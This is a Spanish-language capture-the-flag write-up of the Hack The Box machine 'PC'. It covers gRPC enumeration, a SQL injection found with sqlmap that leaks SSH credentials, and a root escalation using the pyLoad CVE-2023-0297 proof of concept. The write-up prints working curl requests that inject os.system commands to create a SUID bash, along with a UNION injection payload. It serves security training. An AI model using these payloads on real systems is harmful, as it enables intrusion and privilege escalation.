Descripción
PC es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Enumeración de gRPC
- Inyección SQL sobre gRPC
- Exposición de datos sensibles
- Escalada de privilegios con PyLoad
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.10.11.214.
$ ping -c 3 10.10.11.214
PING 10.10.11.214 (10.10.11.214) 56(84) bytes of data.
64 bytes from 10.10.11.214: icmp_seq=1 ttl=63 time=44.1 ms
64 bytes from 10.10.11.214: icmp_seq=2 ttl=63 time=43.8 ms
64 bytes from 10.10.11.214: icmp_seq=3 ttl=63 time=43.4 ms
--- 10.10.11.214 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2005ms
rtt min/avg/max/mdev = 43.448/43.806/44.133/0.280 ms
La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.10.11.214 -sS -p- -oN nmap_scan
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.214
Host is up (0.045s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
50051/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 164.88 seconds
Obtenemos dos puertos abiertos, 22 y 50051.
Enumeración
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.10.11.214 -sV -sC -p22,50051 -oN nmap_scan_ports -Pn
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.214
Host is up (0.045s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 91bf44edea1e3224301f532cea71e5ef (RSA)
| 256 8486a6e204abdff71d456ccf395809de (ECDSA)
|_ 256 1aa89572515e8e3cf180f542fd0a281c (ED25519)
50051/tcp open unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.34 seconds
Obtenemos dos servicios: Secure Shell (SSH) y un puerto TCP desconocido. Si buscamos información sobre el puerto 50051 encontramos que puede corresponder al protocolo GRPC. Este protocolo se utiliza para intercambiar datos entre clientes y servidores. Si el servidor tiene activada la opción reflected obtendremos todas las posibles llamadas de los métodos. Para interactuar con el servicio podemos utilizar la herramienta grpc_cli instalándola mediante su guía de instalación.
$ git clone --depth=1 https://github.com/grpc/grpc
$ cd grpc
$ mkdir -p cmake/build
$ cd cmake/build
$ cmake -DgRPC_BUILD_TESTS=ON ../..
$ make grpc_cli
Después de construir el binario podemos empezar con la enumeración del servicio.
$ ./grpc_cli ls 10.10.11.214:50051
SimpleApp
grpc.reflection.v1alpha.ServerReflection
Encontramos que el servidor soporta la opción reflection y encontramos una aplicación, SimpleApp. Enumeramos los métodos.
$ ./grpc_cli ls 10.10.11.214:50051 SimpleApp -l
filename: app.proto
service SimpleApp {
rpc LoginUser(LoginUserRequest) returns (LoginUserResponse) {}
rpc RegisterUser(RegisterUserRequest) returns (RegisterUserResponse) {}
rpc getInfo(getInfoRequest) returns (getInfoResponse) {}
}
Podemos ver que podemos registrar una cuenta (RegisterUser), iniciar sesión (LoginUser) y obtener información (getInfo). Enumeremos los campos que podemos rellenar las llamadas a los métodos.
$ ./grpc_cli type 10.10.11.214:50051 LoginUserRequest
message LoginUserRequest {
string username = 1;
string password = 2;
}
$ ./grpc_cli type 10.10.11.214:50051 RegisterUserRequest
message RegisterUserRequest {
string username = 1;
string password = 2;
}
$ ./grpc_cli type 10.10.11.214:50051 getInfoRequest
message getInfoRequest {
string id = 1;
}
Para los métodos de las cuentas podemos especificar un nombre de usuario y una contraseña. Para el método de obtener información podemos especificar un ID. Primero creamos una cuenta.
$ ./grpc_cli call 10.10.11.214:50051 RegisterUser 'username: "user2023" password: "232323"'
connecting to 10.10.11.214:50051
message: "Account created for user user2023!"
Rpc succeeded with OK status
Recibimos una respuesta positiva por lo que iniciamos sesión.
$ ./grpc_cli call 10.10.11.214:50051 LoginUser 'username: "user2023" password: "232323"'
connecting to 10.10.11.214:50051
message: "Your id is 206."
Received trailing metadata from server:
token : b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidXNlcjIwMjMiLCJleHAiOjE2ODUxMzQ3NTJ9.sXuPHFg8BQIzW9A0R_cfNX2Ap1dkHUFunYffwyLuDFI'
Rpc succeeded with OK status
Dentro de la respuesta de inicio de sesión positiva obtenemos un ID y un token. Obtengamos información sobre el ID que hemos asignado. Es necesario especificar el token en el argumento de metadata.
$ ./grpc_cli call 10.10.11.214:50051 getInfo 'id: "206"' --metadata 'token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidXNlcjIwMjMiLCJleHAiOjE2ODUxMzQ3NTJ9.sXuPHFg8BQIzW9A0R_cfNX2Ap1dkHUFunYffwyLuDFI'
connecting to 10.10.11.214:50051
Sending client initial metadata:
token : eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidXNlcjIwMjMiLCJleHAiOjE2ODUxMzQ3NTJ9.sXuPHFg8BQIzW9A0R_cfNX2Ap1dkHUFunYffwyLuDFI
message: "Will update soon."
Rpc succeeded with OK status
No recibimos información útil con el mensaje “Will update soon”. Vamos a comprobar el ID 1.
$ ./grpc_cli call 10.10.11.214:50051 getInfo "id: '1'" --metadata 'token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidXNlcjIwMjMiLCJleHAiOjE2ODUxMzQ3NTJ9.sXuPHFg8BQIzW9A0R_cfNX2Ap1dkHUFunYffwyLuDFI'
connecting to 10.10.11.214:50051
Sending client initial metadata:
token : eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidXNlcjIwMjMiLCJleHAiOjE2ODUxMzQ3NTJ9.sXuPHFg8BQIzW9A0R_cfNX2Ap1dkHUFunYffwyLuDFI
message: "The admin is working hard to fix the issues."
Rpc succeeded with OK status
Con el mensaje “The admin is working hard to fix the issues.” sabemos ahora que hay una cuenta admin. Vamos a intentar iniciar sesión con esta cuenta, con la contraseña “admin”.
$ ./grpc_cli call 10.10.11.214:50051 LoginUser 'username: "admin" password: "admin"'
connecting to 10.10.11.214:50051
message: "Your id is 848."
Received trailing metadata from server:
token : b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2ODUxMzg3ODF9.oN9URQpGfLiVBI6Z6CCahze9TpO9ywGLZuTKGFmwk-0'
Rpc succeeded with OK status
Hemos iniciado sesión con éxito pero no obtenemos más información con este usuario, así que nos movemos para comprobar vulnerabilidades, por ejemplo, inyecciones SQL. La herramienta SQLMap no funciona con el protocolo gRPC así que necesitamos una interfaz HTTP entre la herramienta y el servicio. Podemos utilizar gRPC UI. Lo instalamos y lo ejecutamos.
$ go install github.com/fullstorydev/grpcui/cmd/grpcui@latest
$ ~/go/bin/grpcui -plaintext 10.10.11.214:50051
Ahora en la interfaz del navegador vamos a solicitar la información para el ID 1 y capturar la solicitud con Burp Suite.

Explotación
Luego usaremos la solicitud capturada con SQLMap. Encontramos que el parámetro id es vulnerable a una inyección SQL UNION.
$ sqlmap -r request -p id
...
[INFO] (custom) POST parameter 'JSON id' appears to be 'SQLite > 2.0 AND time-based blind (heavy query)' injectable
...
sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:
---
Parameter: JSON id ((custom) POST)
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: {"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2ODUxNDA3NTd9.foyDIMyNaWMy9gZAzxdLkFXi2q9G7c_e7pbH7N3fqcY"}],"data":[{"id":"-7313 UNION ALL SELECT CHAR(113,112,122,120,113)||CHAR(120,67,81,78,88,73,76,79,111,109,86,80,105,86,99,67,86,110,120,83,116,103,88,97,106,118,78,67,97,108,87,122,97,103,83,65,107,73,69,74)||CHAR(113,113,122,120,113)-- eKJt"}]}
---
[INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
Luego obtenemos las dos tablas disponibles, messages and accounts.
+----+----------------------------------------------+----------+
| id | message | username |
+----+----------------------------------------------+----------+
| 1 | The admin is working hard to fix the issues. | admin |
+----+----------------------------------------------+----------+
+------------------------+----------+
| password | username |
+------------------------+----------+
| admin | admin |
| HereIsYourPassWord1431 | sau |
+------------------------+----------+
Obtenemos la contraseña para el usuario sau, HereIsYourPassWord1431. Así que iniciamos sesión con SSH.
Post-Explotación
Hemos iniciado sesión con el usuario sau.
$ ssh sau@10.10.11.214
sau@10.10.11.214's password:
-bash-5.0$ id
uid=1001(sau) gid=1001(sau) groups=1001(sau)
El otro usuario en el sistema es root.
-bash-5.0$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
sau:x:1001:1001::/home/sau:/bin/bash
Al enumerar los procesos en ejecución, encontramos dos procesos funcionando como root, dos programas de Python.
-bash-5.0$ ps -ef | grep root
...
root 1050 1 0 ? 00:00:27 /usr/bin/python3 /opt/app/app.py
root 1055 1 0 ? 00:00:09 /usr/bin/python3 /usr/local/bin/pyload
...
Uno de los programas es pyLoad, un gestor de descargas.
-bash-5.0$ /usr/local/bin/pyload --version
pyLoad 0.5.0
Por defecto se ejecuta en puerto 8000.
-bash-5.0$ netstat -tulnp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
...
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
...
La versión 0.5.0 es vulnerable a la vulnerabilidad de la ejecución remota de comandos CVE-2023-0297. Encontramos un PoC creado por bAuh0lz de la vulnerabilidad que podemos utilizar para copiar el binario Bash a un directorio temporal y asignarle permisos SUID para ejecutarlo como usuario raíz.
Comandos a ejecutar:
1: mkdir /tmp/temporal
2: cp /bin/bash /tmp/temporal/bash
3: chmod 4777 /tmp/temporal/bash
Comandos encapsulados en la prueba de concepto:
-bash-5.0$ curl -i -s -k -X $'POST' \
--data-binary $'jk=pyimport%20os;os.system(\"mkdir%20/tmp/temporal\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
$'http://127.0.0.1:8000/flash/addcrypted2'
-bash-5.0$ curl -i -s -k -X $'POST' \
--data-binary $'jk=pyimport%20os;os.system(\"cp%20/bin/bash%20/tmp/temporal/bash\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
$'http://127.0.0.1:8000/flash/addcrypted2'
-bash-5.0$ curl -i -s -k -X $'POST' \
--data-binary $'jk=pyimport%20os;os.system(\"chmod%204777%20/tmp/temporal/bash\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
$'http://127.0.0.1:8000/flash/addcrypted2'
Finalmente obtenemos una terminal root.
-bash-5.0$ /tmp/temporal/bash -p
bash-5.0# whoami
root
Flags
Finalmente podemos obtener la flag del usuario y la flag del sistema.
bash-5.0# cat /home/sau/user.txt
<REDACTED>
bash-5.0# cat /root/root.txt
<REDACTED>